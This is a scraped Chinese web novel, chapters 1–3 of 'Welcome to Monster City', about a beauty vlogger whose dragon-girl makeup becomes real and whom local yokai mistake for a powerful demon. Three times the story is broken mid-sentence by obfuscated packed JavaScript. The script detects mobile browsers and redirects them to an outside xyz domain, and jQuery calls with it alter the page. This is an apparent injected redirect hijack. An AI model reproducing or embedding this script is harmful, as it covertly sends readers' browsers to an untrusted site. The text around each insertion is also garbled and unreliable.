《欢迎来到妖怪都市》 1. 第1章 午间，光线正好。游书姝坐在正对着窗户的化妆桌前，笑容温雅如兰。 按下相机的录制键，她对着镜头微微挥手：“哈喽，大家好，我是姝姝，好久不见。可以看见，我生活的环境变得不一样了。没错，我毕业了，现在已经搬出了学校宿舍，搬到瑶京生活。从今天起，我就会在这里进行视频录制了。” 她嗓音温软，语速不急不缓，像是江南石桥下涓涓流淌的溪流一般，将要说的话缓缓道来。 “来到新的环境，我也打算做出一些新的尝试。所以从今天开始，我打算专门开一个主题仿妆，名称就叫──百鬼夜行。” “既然是百鬼夜行，那我们的仿妆对象自然就是各种各样的妖怪了。” “相信大家从小到大也听过不少妖怪的传说，现在的许多文学作品、影视作品以及游戏中也经常会出现一些妖怪的形象，甚至网上有时候还会有一些都市妖怪传说。” “别的地方暂且不提，就是我现在所处的城市──瑶京，就有传闻说它其实并不是瑶京，而是妖京，妖怪的妖。传说中，瑶京就是千年以前妖怪的都城。” “当然了，现在这个年代了，大家也都清楚所谓妖怪什么的当然都是不存在的。但不可否认，妖怪文化是我们的文明中一个不可抹去的灿烂存在，许多习俗因它而存在，所以我打算以此为主题，也为大家介绍一些关于妖怪的传说。” “既然是开篇，那自然要选一个足够撑得起开头的妖怪，所以我今天要给大家带来的是──龙女。” 这个正在拍摄美妆视频的年轻女性名叫游书姝，今年大学刚毕业，凭借自己先前在自媒体上赚到的钱，于一周前来到了瑶京这个城市。 她选择了做一个全职美妆博主，并在好友的推荐下开启了这个妖怪主题系列的仿妆。 或许也是开了运，她前段时间还接到了一个超级大广子──来自一流化妆品品牌［娇颜］的产品推广。 游书姝自己都不曾料到自己这个粉丝量级还能接到娇颜的推广，对方甚至寄来了从底妆到彩妆的一整套新品，让她倍感荣幸。 此时，她对着相机镜头，化妆的同时，一边介绍着甲方爸爸的产品，一边讲解着自己的化妆思路。 然而她却没有注意到……手中的那些化妆品，在光线照射之下，不经意间闪过那么些许的星芒。 同一时刻，在她所住小区的方圆几里内，一部分原本正在正常工作生活的“人”突然脸色骤变。 正在插花的花店老板手一抖，手里的花直接落到了地上…… 驰骋在大街小巷间的外卖小哥猛地一个急刹车，车后轮都离地了刹那，好不容易稳住后才扭头看向一个方向，目光微惧…… 和同学们一起打着篮球的少年突然浑身一颤，被球直接砸中了脑袋，头上鼓出一个拳头大的包…… 他们都感受到了……来自那个方向，气势无比磅礴的妖力。虽然很是温和，却是明晃晃地在宣告着自身的存在。 他们完全不知道这位是谁，何时到此，又是为何而来，但此时此刻，他们心中都非常清楚地知道一件事──该去拜山头了。 ── 关掉相机，游书姝缓缓吐出一口气。 结束了。 只见此时，她面上是神圣又妖异的妆容，莹蓝色的线条在脸颊上延伸，构成古老奇异的纹路，戴着美瞳的眼珠有着宛若深海般的颜色，眼角处一片片的鳞片栩栩如生。 在她的额头上，还有一对蓝白渐变的龙角，以优美又高贵的姿态往上延伸。 游书姝对着镜子好一番欣赏，又掏出手机来，咔嚓咔嚓拍了几张照片，发给自己的好朋友陆扶光。 陆扶光家里有亲戚是做妖怪文化研究的，他自己也耳濡目染了解了不少，之前就是他推荐游书姝做妖怪主题仿妆的，并且还给游书姝这次的妆发设计给出了不少建议。现在成品出来了，游书姝自然也要让他看一看。 【姝姝】：看看，效果怎么样？有没有妖怪的感觉了？ 【姝姝】：［照片］［照片］［照片］ 对面没有回复，游书姝估摸着对方应该是在忙，就先关掉了聊天框，熟练打开外卖软件点了份外卖。 又美美地拍了几张照后，她这才决定去把妆给卸了。 然而，在她伸手准备摘下额前的龙角时，她愣了愣。 奇怪，是错觉吗？为什么……她总感觉自己好像感受到了这个龙角的存在？ 或者说……她突然感觉这个龙角好像是自己身体的一部分，她竟然能通过龙角感受到自己手的触碰。 她扯了扯，随后发现自己的感觉没错。 这龙角……摘不下来了。 什么情况？ 游书姝身体前倾，立刻凑到了镜子边去看。 龙角与额头的接口部位，哪里还有什么胶粘的痕迹，简直是严丝合缝。在龙角的根部，甚至还有一层薄薄的皮肉覆盖──那是她的皮肉。 画面瞬间定格，游书姝静止不动了。 大脑高速运转，但是没有搜寻到任何能够用来解释这种奇怪现象的科学道理。 而且看了一会儿，她发现自己脸上的鳞片好像也有些不对。 她也试着去扯了下鳞片。 “嘶……”她吃痛一声。 疼。 游书姝终于坐不住了。 她迅速检查了自己脸上的其他地方，发现无论是眼妆、唇妆还是她画在脸上的莹蓝色妖异图纹，好像通通都直接融入到了她的脸上。 尤其是脸上那道图线，那上面……似乎能看到浪花在涌动。 游书姝尝试着用手去搓，也试着用卸妆油去卸，但毫无效果。因为这样的强行拆卸，弄得她自己脸上都有些疼了，于是这才停下了手。 看着镜子里自己妖异的模样，游书姝忍不住低声呢喃：“不是吧……” 她变异了？ 这种完全超出了正常认知的事情让她感到非常的不知所措，可一时之间她也想不到自己能向谁寻求帮助。 她最好的朋友就是陆扶光，而对方此刻显然还在忙，到现在都还没回消息。 至于家人……游书姝是一个孤儿，非要说的话，她的家人就是孤儿院的大家。 总不能去和院长妈妈说，想也知道这种事情院长妈妈肯定也是解决不了的，告诉她也只是多一个人担心。 实在是想不出辙来了，游书姝拿着手机开始搜索── 化妆卸不下来是怎么回事？ 龙女的传说。 脸上长鳞片了怎么办？ 她还真看到有人问身上长出鳞片来了怎么办，点进去一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805727|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，下面网友的回复是这样的── ［在网上发帖子问大家身上长出鳞片了怎么办］ ［把自己上交国家，从今以后吃皇粮］ ［什么样的鳞片？让我康康，让我康康］ ［化形术没练好吧大兄弟，建议再回去闭闭关］ 这要是换做以往，游书姝只会觉得楼主在搞抽象，但事情真的发生在自己身上，游书姝突然觉得……对方说的该不会是真的吧？ 游书姝一时间甚至觉得自己以前看过的其他抽象帖子会不会都是真的。 鬼使神差地，游书姝用自己的小号在下面留了评论：［出现了和楼主类似的情况，不知道楼主现在解决了没有，能不能分享一下经验。］ 发完以后，游书姝满脑子只有两个大字──荒，谬。 她无奈地抬手掩面，心情实在是很难说得上好。 “这到底要怎么办？要是以后都变不回来了，这日子还能正常过下去吗？” 就在这时，门口传来了敲门声。 游书姝猛地坐直了身子，看着门口的方向。 随后，她听到外面的人说出了一句话，一句大多数人都非常熟悉的话── “你、您好……外卖。” 游书愣了愣，突然忍不住笑了，为自己没来由的紧张而感到有些哭笑不得。 不过话说回来，虽然是不用紧张了，但她总不能就这副样子去开门。 门又被敲了两下：“您、您您好……您的外卖……到了。” 不知道为什么，游书姝总觉得对方好像快哭了。 这是失恋了来送外卖吗？ 游书姝也没多想，对着门口方向提高音量道：“麻烦帮我放在门口吧。” “好、好……我……我给您放门口了，大人您记得拿啊。” “好，谢谢。”游书姝应了一声，心想这瑶京不愧是历史底蕴浓厚的城市，连送外卖的小哥都管客户喊大人的。 她本想着再等一会儿，等到外卖小哥走了以后再去拿外卖，却没想到门口的小哥还问了一句：“那……请问我可以走了吗？” 游书姝：？ 这什么问题？ 这小哥是不是以前因为走太快被人给投诉过啊。 她有几分哭笑不得：“可以了，谢谢你了，路上注意安全。” 门外，外卖小哥在她开口应允完后，战战兢兢地走向楼梯间，在下了一层楼之后，迅速“飞”下楼梯。 是真的快“飞”起来了的那种，腿部都是虚影，差不多是逃命的速度，中途还因为太急了撞了好几次的墙和栏杆，在楼道里留下了好几声“喔”、“啊”的痛呼。 这是为了逃命连电梯都不坐了。 坐什么电梯？电梯也太慢了！哪有他自己跑得快！ 三秒钟，这小哥已经从七楼冲到了一楼。随后，他走出大楼，迅速骑上自己的电动车，一溜烟“咻”地逃离此处。 直到电动车驶出去好远，外卖小哥才停了下来。 他取下头盔，擦了擦额头上的冷汗：“好、好险……” 差点以为自己要死了。 回想起刚刚站在那一户门前感受到的那份若隐若无的威压，外卖小哥到现在都有种汗毛直立的感觉。 他忍不住喃喃道：“这就是大妖吗？” 2. 第2章 “刚刚那个威压……”外卖小哥又想了想，更觉得后背发凉，“也不知道是什么级别的大妖，太吓人、哦不，太吓妖了。” 没错，妖。 这外卖小哥就是一只妖怪，前面那个感受到磅礴妖力就被吓得在路口一个急刹车差点引发车祸的外卖员就是他。 他也没有想到，刚刚还在群里和其他妖怪伙伴们猜测这大妖是什么来头呢，结果这随手接的一单直接就给他送到大妖门口去了。 导航指引着他往这边走的时候，他就已经开始感觉有些不太对劲了。但是他寻思着应该就是下单那人碰巧住在附近，也没考虑过大妖会点外卖这种可能性。 那可是堂堂大妖啊，怎么可能会点外卖？ 好吧，虽然他其实也没怎么见过大妖，只是觉得这种层次的妖怪肯定是前前后后簇拥着一堆小妖怪，想吃啥都有妖怪给他们专门去弄，谁能想到这年头大妖也点外卖啊？ 吃的还是不到20块钱的鸡公煲。 外卖小哥简直是泪流满面，走到那大妖门口的时候，他都在想会不会自己才是大妖点的那个外卖了。 但是跑吧又不敢跑，就那个距离，人大妖肯定早就感受到他的靠近了。他如果掉头就跑，大妖肯定能知道呀。 他只能安慰自己，或许人家大妖就是想吃鸡公煲呢？要真是这样，他这么带着大妖的饭跑了，会不会反而惹怒了大妖？ 不管怎么想，他都觉得自己扭头就跑活下来的概率反倒更低。那种情况下，也只能去赌大妖想吃鸡公煲了。 好在，福大命大，他活下来了，大妖是真的想吃鸡公煲。 缓了好一会儿，小哥点开自己的聊天软件，找到那个名叫［妖怪一家亲］的群组，在里面发了条消息。 ［家人们，我刚刚差点没了。］ 很快就有人回了消息：［怎么了？你不会差点出车祸了吧？电动车没事吧？］ 外卖小哥头顶一串省略号：…… ［你不问我，你问电动车？？？］ 对方回复：［你能有啥事儿？人家开车撞你都还得先担心一下自己的车会不会被你撞坏呢，比起你明显是电动车更容易出事吧？］ 外卖小哥：Emmm……好像是有点道理。 不，重点不是这个好吧！ 他立刻发消息道：［不是车祸，是那个大妖！我刚刚遇上那个大妖了！］ ［！］ ［！］ ［！］ 他这么一句话，顿时把群里不少人都给炸了出来，大家你一句我一句地开始在群里刷屏询问情况，消息快到外卖小哥的手机都有些卡顿了。 好在，群管理很快就开了禁言。 ［都闭嘴，你们这么多人在这刷屏，还让不让人说了？我等会儿解开禁言，你们全都安静，让铖说。］ 铖，就是这个外卖小哥的妖名。 仅仅只是名，没有姓，姓氏是只有大妖才能拥有的。 很快，管理员解开了禁言，大家果然都安静了，铖就把自己刚刚给大妖送了个外卖的奇幻经历分享给了群友。 待他说完，群里有一个是一个，再次七嘴八舌地问了起来。 ［那你见到大妖啥样了吗？］ ［大妖长啥样啊？］ ［大妖应该都长得挺好看的吧？］ ［那可不好说。］ 【铖】：［我没见着她，她让我把外卖放门口了。但应该长得挺好看的吧？听声音我觉得应该是好看的。］ ［她？是女的吗？］ ［女的好呀，是漂亮小姐姐。］ ［声音是女的也不一定就是女的呀，前段时间青洲那边不是还有个男妖因为变成女的骗男人钱被抓了的吗？］ ［哦哦哦，那个我知道！听说他是骗到了一个道家的。］ ［我怎么听说是骗的妖管局行动组成员啊。］ ［你们这都聊哪儿去了，啥时候了，还有时间关心这些八卦。@铖这大妖脾气咋样啊？你有和她说上几句吗？］ 【铖】：［Emmm……我觉得她应该挺好说话的吧？还跟我说谢谢来着。］ ［哇……你竟然敢让大妖和你说谢谢呀。］ ［兄弟好胆。］ ［兄弟够胆。］ ［你竟然还能活着回来。］ 铖无语极了：［这也不是我让大妖跟我说的呀，我能有那个胆子？］ 【铖】：［反正大妖当时就是跟我说了谢谢，还说了两次。我走的时候还让我路上注意安全，感觉好像和普通人差不多。］ ［你居然拿大妖和普通人做对比，你完了。］ ［注意安全啥的，你确定不是在跟你说反话吗？表面祝你安全，实际送你上路啥的。］ 【铖】：［我刚刚确实有想过来着，但是我都已经跑出来好远了，也没啥事儿。而且我感觉大妖说那话的时候语气也挺正常的，不像是有啥别的意思。］ 【铖】：［哦对了，她还给我点了个五星好评。］ 众人纷纷刷起了问号。 ［你说大妖给你点了个啥玩意儿？］ ［外卖，五星好评，大妖。我怎么感觉你说的东西我都懂，但是连起来我确实听不明白了呢？］ 见众人好像不信，铖截了个图发到群里。 还真是五星好评。 ［咋说呢，突然感觉大妖……也挺接地气的？］ ［这确定不是让人放心之后再顺藤摸瓜过来，在你最放松的时候给你致命一击吗？］ ［我觉得你想太多了，那可是大妖。］ ［没错，是什么让你觉得那种级别的大妖会在我们这种小喽啰身上花这么多心思？］ ［只有我一个人在好奇大妖点了啥外卖吗？］ ［你这么一说，我也有点好奇。］ ［@铖］ ［@铖大妖点了啥外卖？］ 【铖】：［说出来你们可能不信。］ 【铖】：［鸡公煲。］ 众人又是一堆问号。 【铖】：［没错，就是鸡公煲，而且还是享受完折扣之后，再加上跑腿费，总价都不超过20块钱的鸡公煲套餐，含主食还送饮料的那种。］ 群里安静了一会儿，大家都被大妖吃20块钱的便宜鸡公煲套餐这件事情给震惊到了。 ［这家鸡公煲是不是很好吃啊？］有人开始发问。 ［我也想问，哪家店的呀？］ ［@铖正好饭点了，能给我带一份大妖同款的鸡公煲吗，钱我转你。］ ［@铖我也想尝尝，给我也带一份。］ ［@铖我也。］ 而另一边，游书姝放下筷子，对面前没有吃完的鸡公煲给出了评价：“不好吃，下次不买了。” 她不知道的是……在她不知道的地方，这家名不见经传的鸡公煲店正因为她的“带货”而莫名其妙地迎来了爆单。 就在游书姝收拾餐桌上的残局时，听到了手机的消息提示音。 她看了一眼，是陆扶光，她眸中微亮。 这家伙终于上线了！ 她打开手机，首先就看到了陆扶光的回复。 先是对于自己没有秒回的一句解释。 【扶摇直上之光】：回来了姝姐，我刚刚拍戏呢，刚下机。 然后就是捧场的夸夸。 【扶摇直上之光】：哇，可以可以，美爆了！ 【扶摇直上之光】：这妆真的，妖感十足，当代大妖就是你！ 听到夸奖，游书姝此刻也高兴不起来了。她飞速打字。 【姝姝】：小光，我问你个事。 【扶摇直上之光】：嗯？咋了？ 【姝姝】：世界上真的有妖怪吗？ 陆扶光发过来一个疑惑表情。 【扶摇直上之光】：姝姐，你怎么突然问起这个来了？ 游书姝斟酌了一会儿，还是决定把自己现在的情况告诉了对方。 【姝姝】：其实是我这边出了些状况，就是我刚刚给你看的那个妆……我现在卸不下来了。 【扶摇直上之光】：？？？ 对方又发了个疑惑的表情过来：［啊？］ 【姝姝】：嗯，就是字面意思。 【姝姝】：龙角和鳞片好像已经变成我身体的一部分了，完全摘不下来。妆面也是，卸不掉。 游书姝眼睁睁看着对方的状态栏从正在输入中又变成没有，然后又变成输入中，反复了几次以后，最后回了她一句话。 【扶摇直上之光】：姝姐你等会儿。 过了一会儿，对面拨过来一个视频通话。 游书姝选择了接通，手机屏幕上立刻出现了陆扶光那张好看得过分的俊脸。 肤无瑕疵，眉眼隽秀，眼角一点美人痣本该略显魅惑，他干净澄澈的眼眸却冲淡了这种媚意，有种濯清涟而不妖的感觉。 此时此刻，对方一副古装打扮，发到网上去绝对会让粉丝们疯狂尖叫的那种。 然而就是这么个当红炸子鸡，开口就是一句：“姝姐，我躲到厕所来了，啥情况你说。” 游书姝默了默。 难道就没有个化妆间或者保姆车之类的稍微体面一点的地方可以让你躲吗…… 算了，这个不重要。游书姝当即对着镜头给陆扶光看了看自己头上的龙角和脸上的鳞片，甚至伸手扯了一下。 “看，就是这样，弄不下来了。而且我现在能感觉到这东西好像是长在自己身上了，我能够通过它来感受到我手的触碰。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805728|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆扶光表情凝重了些，也意识到了问题的严重性，问：“除了这个呢？你身体上有没有感觉哪里不舒服？” 游书姝感受了一下，随后摇了摇头：“没有，挺好的。” 这勉强也算是一个好消息吧，陆扶光点点头，又接着问：“你之前怎么把这些东西弄上去的？就化妆？” “对，就是像以前一样正常的化妆。然后刚刚给你发完那个照片，打算去卸妆的时候，发现这东西卸不下来了。” 陆扶光皱了皱眉头，又问：“你是拿什么化的妆？” “甲方寄来的化妆品，还有一些我之前一直在用的。” “什么甲方？” “就是娇颜啊，我上次不是跟你说他们来找我推广了嘛。” 游书姝刚说完，就听对面的陆扶光毫不犹豫地说道：“娇颜的话，应该不是。你还有用其他的东西吗？” 对方的回答也太快了，格外笃定的态度让她疑惑：“为什么娇颜就不是？” 陆扶光顿了顿，随后摸了摸自己的后脖颈，道：“啊……因为……我是娇颜的代言人？” 游书姝：“……” 你觉得这个理由站得住脚吗？ 陆扶光又想起来说了一句：“哦对了，这个事儿还没正式官宣呢，姝姐你可别对外说啊。” 游书姝更无语了，她抬手扶额，道：“知道了。不说这个，你是觉得我用的化妆品有问题吗？” “我也不知道啊，这不是了解一下情况嘛。你都用了些啥？给我看看呗。” 于是游书姝拿着手机来到化妆桌前，将镜头切换成了后置镜头，给陆扶光看了下自己用到的其他化妆品──包括娇颜的。 “除了娇颜的，其他基本上都是我之前就用过的。” 陆扶光只是大概扫了一眼，也看不出什么不对，又问道：“你龙角和鳞片是用什么粘的？” “就是睫毛胶啊，也是我之前一直都在用的。”游书姝又给他看了看自己的睫毛胶。 对面，陆扶光也是看不明白了，又问道：“那你最近有没有遇到什么奇怪的人或者奇怪的事儿？” 游书姝回忆了一下，摇头：“没有，我这才刚搬来几天，也没什么奇怪的地方。” 这听上去就有些难搞了，陆扶光一对眉毛皱得更紧了。 见他面露思索，游书姝眸光微凝，又问回了那个关键问题：“所以……妖怪什么的是真实存在的吗？” 陆扶光抬头与她对视了两秒，随后叹了口气：“好吧，既然姝姐你现在都这样了，我也就不瞒你了。” 他神情难得严肃了起来：“妖怪确实是存在的。不过为了避免普通人对此感到恐慌，所以官方一直都在隐瞒这件事。我也是因为家里亲戚是涉及这方面的，所以才知道这些。” 行吧，在她自己身上都发生了异变的情况下，游书姝这个答案也一点都不感到意外了。 “那我现在这算是什么情况，从人变成了妖怪吗？”她又问。 陆扶光拧着眉：“应该不是，人是没有办法变成妖怪的，从来没有这种先例。你可能是遇到了什么比较特殊的东西。” “比如？” 陆扶光摇头：“我不知道。这样吧姝姐，我等会儿去找人问一问，你现在先暂时不要出门。对了，还有我之前送给你的那个护身符，你还带着吧？” “带着呢。” 那铃铛是陆扶光以前送她的礼物，说是能辟邪，让她一定要随身携带。 游书姝本身其实并不信这些东西的，但既然是好朋友的一片心意，对方还特地嘱咐了要随时戴在身上，她便也妥善地一直携带着。 不过陆扶光现在提起这个护身符，游书姝还是有些意外。 她来到门口，从鞋柜上拿起了那个挂着护身符的钥匙，问：“这东西……是真的？” “当然是真的，我好不容易才弄……到手的。”差点说漏了嘴，陆扶光小心翼翼地看了眼游书姝。 好在游书姝正低头研究那个护身符，一时也没注意到他的一时磕绊。 陆扶光微微松了口气。 “那就这样吧，姝姐你先好好在家里呆着别乱跑，我尽快去帮你问清楚情况。记住了，千万不要出门！” “好，我知道了。” 二人挂断了视频通话，虽然依旧是没有找到解决的办法，但游书姝还是觉得安心了许多。 她把钥匙扣上的护身符取了下来，然后找了根项链来把它挂在自己的脖子上。 虽然那项链和这个护身符实在是不搭，看上去有一点不伦不类，但眼下谁还有心思管这个。 摸了摸胸前的护身符，又摸了摸头顶的龙角，游书姝忍不住叹了口气。 唉，希望这事儿能尽早解决吧。 3. 第3章 夜幕在不久之后降临，按照原本的计划，这个时间点游书姝应该是在做视频后期的，但此时此刻，她却是在笔记本电脑上翻阅着妖怪相关的资料。 如果说先前游书姝收集这些是为了作为仿妆时的资料参考，那现在就是为了知己知彼了。 恐惧往往来源于未知，既然现在自己似乎已经莫名其妙地接触到了这方面，那游书姝觉得就有必要多了解一些这方面的事情。 当然，网上的资料难分真假，游书姝也没有能力进行分辨，所以她翻阅的主要是先前陆扶光给她分享的那些pdf文件。 陆扶光的家里既然有这方面的背景，那想来他提供的这些资料在真实性上应该是有一些保障的。 就在这时，门口处传来了脚步声。 那声音说不上轻也说不上重，但游书姝就是听得清清楚楚。这让她不由产生了一丝疑惑：她的听力……有这么好吗？ 不过很快这件事情就暂时不那么重要了，因为游书姝听着那脚步声来到了她家门前，并且就停在了她家门口。 游书姝：嗯？ 她眉头蹙起，悄然起身，提防的目光朝着门口方向看去，猜测着门外的会是什么人。 门外很快传来了声音，是一个听上去十分温婉谦和的女声，语气很是恭敬。 “冒昧叨扰大人，还望大人恕罪。妾身乃是西面云杏寺的古杏妖，名唤落秋，此番特来拜会大人，不知大人可否方便？” 云杏寺，古杏妖！？妖怪！？ 游书姝立刻抬手攥住了挂在胸前的那枚护身符，心中百转千回。 她当然是知道云杏寺的，就在她住的这个小区隔壁那个街区，步行不过八百米的距离。她前几天出去采买东西的时候还曾路过那里。 从寺院外观也能看到，那并不是一个很大的寺院，透过外墙也能看到里面挺立的银杏树。 难道这个所谓的古杏妖，就是她那天见到的那棵银杏树？ 可……对方为什么要喊她大人？ 是找错了人吗？ 思考之间，游书姝已经来到了房门口。她动作很轻地贴了上去，透过门上的猫眼往外看。 只见屋外，一位身穿旗袍的妖异女人。她面颊一侧覆盖着银杏树叶，再往后蔓延就是一根从耳上部位生长而出的树杈，树杈生长环绕，将她的头发挽成一个侧垂的发髻。 只不过或许是因为现在尚未到秋季，那银杏树叶都是翠绿的颜色。 女人微低着头，一副谦恭的模样，这让游书姝从这个角度看不见对方的神情，但无论如何，就她这个扮相，一眼看去给人的感觉就是——非人即妖。 游书姝感觉对方似乎真的是个妖怪，这让她心头一紧。 她……是来干什么的？ 虽然对方看上去一副很恭敬的模样，但那是妖啊！ 游书姝不敢有所动作，她微微抿唇，攥着胸前护身符的手力道又大了几分。 见她迟迟没有回应，门外的落秋似乎是有些疑惑：“大人？” 游书姝思考了一下，开口问：“你是来做什么的？” 对方将头颅又低下去了一些：“回大人，今夜夏至，我们附近的妖怪们一同筹备了一个祭典，今夜十一点会在云杏寺内举行。恰逢大人今日莅临此地，众妖斗胆，由落秋作为代表，前来邀请大人。不知大人意下如何？” 今日莅临？ 游书姝眸光微凝。 虽然她搬到这儿来其实已经有一周了，但却是今天才发生这样的事。这样看来……对方找的就是她。 可为什么要喊她大人，还对她如此恭敬？ 忽地，游书姝想起了关于龙女的介绍。龙女是有神龙血脉的妖怪，属于半神半妖的存在。 对方……把她当成龙女了？然后现在来邀请她去参加他们的宴会？ 妖怪的聚会吗？游书姝不知道那是什么样的。 好奇固然是有的，但她现在还什么都没弄明白，也不知道有没有危险。 她又不是真的龙女，这要是被人看出来了，谁知道现在这个看上去对她还恭恭敬敬的古杏妖还是不是这个态度。 她果断拒绝了：“我这儿还有事要忙，就不去了，你们自己玩吧。” 落秋垂首应道：“是。” “此外……”落秋手腕一转，将一株看上去似乎发着光的灵芝捧了出来，“此乃一点就亮芝芝，作为妾身的供奉，献与大人。” 游书姝：？ 等一下，她刚刚说那玩意儿叫啥？？？ 一点就亮……吱吱？ 游书姝的大脑空白了一瞬，怀疑是不是自己的耳朵出了问题。 门外落秋的话还在继续：“来得匆忙，未能来得及细细筹备，还请大人见谅。” 她后退两步，将那个发光灵芝捧到眉前，正好是从游书姝的猫眼视角能看清的位置。 她的这个动作让游书姝忽地意识到──对方是不是知道她在看！？ 不过转念一想，对方可是妖怪，似乎也并不稀奇。 她镇定下来，琢磨着开了口：“我用不着供奉，你拿回去吧。” 谁知此话一出，门外的人顿时就跪了下去：“大人！落秋扎根此地已有近千年，若是迁根，只怕数百年修为难以保全，还请您大人有大量，准许落秋留在此处。” 游书姝被她这突然的行径给弄得心头一惊，听了她的话后却是反应了过来。 看情况……拒绝供奉就等于驱赶对方离开这里？听上去有点像圈地盘占山为王的感觉。 游书姝并没有要把对方赶走的打算，而且她也不敢。 这要是把对方赶走了，对方后面又发现她根本不是什么“大人”，那后果可能就不是游书姝能承担得起的了。 但话说回来，就算她接受了供奉，等回头事情败露，她就能讨得着好吗？ 左右为难，游书姝只得开口道：“你先起来，我没有要驱赶你离开此地的意思，只不过你这个供奉我用不上，你自己拿回去吧。” 听她如此说，门外的落秋松了口气：“既是如此，那还请大人宽恕几日，落秋会回去为大人筹备其他的供奉。” 游书姝默了默。 这供奉是非送不可吗？ 她不清楚妖怪世界的社交礼仪，一时间也不知道该说好还是不好了。 门外，落秋已然起身，收起了那个流光溢彩的灵芝。 她再度开口：“另外，其他妖怪的供奉……吾等小妖愚笨，不知大人会在今日莅临，故而未能尽早准备好，不知能否请大人也多宽宥些时日？十日之内，吾等必然会将供奉悉数献上。” 游书姝再次陷入了沉默。 许久，她才回了一句：“好。” 听到她的回复，落秋微微顿了下。 十天，是她尽可能地往长了提的时间，预留着让游书姝砍上一刀的。却没想到对方直接答应了。 这位大人……似乎很是宽仁。 她微微敛眸，欠身道：“多谢大人。” 起来后，落秋又问起一事：，“不知……大人可否告知妾身大人尊姓？” 虽然只是一个姓，但询问的人是个妖怪，游书姝也不敢贸然报上真实的姓氏，于是想了想，将自己最近在看的小说女主姓氏给报了上去：“端木。” 然而她没有看到，门外的落秋在听到她报出一个双字复姓时，瞳孔骤然一缩。 随后，她的态度变得更加恭敬了：“端木大人，不知……大人是否要将此姓氏宣告众妖？” “不用，你一个人知道就行了。” “妾身知道了。妾身已无他事，不知大人可还有什么吩咐？” 游书姝能有什么吩咐？她敢吩咐什么？ “没有了，你回去吧。” “既是如此，那妾身便先行告退了。”说罢，落秋便倒退着离开了。 门内，游书姝离开门板，却是眉心紧锁。 她不知道刚刚那个妖怪是怎么找到她这来的，也不知道对方究竟是为什么会认定她是个强大的妖怪，甚至上门来上供奉。但听对方所说的话，知道她的妖怪似乎还不少？ 他们是怎么知道的？ 游书姝一时半会儿也想不到原因，但觉得自己性命堪忧。 一个妖怪还能糊弄糊弄，这要是来了一堆妖怪，当中有谁看出她是个假的怎么办？ 她左思右想，还是觉得得把自己这边的情况告诉陆扶光，于是又赶紧去给对方发消息了，将事情告诉了陆扶光。 陆扶光一听有妖怪来找她了，火急火燎一个语音通信就打了过来：“喂，姝姐，你没事吧？” 游书姝轻叹一声：“我要是有事，现在就没机会联系你了。那个妖怪已经走了。” 陆扶光这才松了口气，又问：“那只妖怪来找你做什么？” “她来邀请我去参加他们的祭典，我拒绝了。” 陆扶光认可道：“对，别去，你现在就好好呆在家里，哪儿也别去。” 游书姝继续道：“她还给了我一个灵芝，说是供奉，但──” “供奉？”陆扶光急促地打断了她说的话，“她来给你送供奉了！？” 游书姝缓缓点头：“对， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“整体来说，不少。具体的数量我也不清楚，而且每个地方都不太一样。青州的妖怪感觉是最多的，我之前去那边参加活动的时候，感觉遇到的人里十个当中就有一个是妖怪。乌州就要少很多，在大街上逛一天下来可能也就会碰上三五个。” “那中州呢？” “中州还好吧，不是很多也不是很少。但是姝姐你现在是在瑶京对吧？” “嗯。” “那你身边妖怪可能不少的，瑶京以前是妖怪的都城，你得多小心点。” 游书姝默了默。 她前面录视频的时候才对着镜头说过瑶京以前叫妖京，传说中妖怪的都城，还说这些都是传说，现在是现代社会要讲科学。结果现在直接就被打脸了。 谁能想到这竟然能是真的？ 游书姝一时间都开始有些后悔自己为什么要千里迢迢搬到瑶京来了。 可现在能怎么办？搬回去吗？且不提那年付的房租能不能退、能退多少，单单是她过去这一周给家里置办的各种东西，想要再搬走都又是一笔大开销。 游书姝虽然通过自媒体也赚了些钱，但还没有富有到可以这样嚯嚯的。 她闭了闭眼，只能安慰自己别处照样也有妖怪。 轻叹一声，她又恢复了语气的平静，继续问陆扶光：“那你家里有没有一些关于妖怪们日常的书？一些妖怪社会的通俗事项与规则之类的，我可能需要了解一些这个。” 否则免不得之后可能又会像今天这样，人家妖怪都找上门来了，她却连对方说的是什么都摸不准。 “妖怪社会的规则？唔……这我还真不清楚有没有，你等我去问问看吧。” “行，那拜托你了。” 挂断电话后，游书姝有些头疼地按了按眉心。 她隐隐有种不祥的预感，总觉得……以往平淡的生活似乎在和她挥手告别。 叹了口气，她继续回去研究那些关于各种妖怪的记载。 她也在其中找到了古杏妖，这种妖怪身上的银杏树叶会跟随季节的变化而变化，如同普通的银杏树一般。 此外，随着身上树叶的生长、变黄、掉落，古杏妖的性情也会发生一定的改变。当身上的树叶全都掉落之后，古杏妖的性格会变得格外敏感易怒。 游书姝不由松了口气，庆幸现在还是夏天，否则还真说不准今天见到的落秋会是个什么态度呢。 她不清楚的是，就是因为现在是古杏妖情绪最为稳定的时期，所以来找她的才会是落秋。 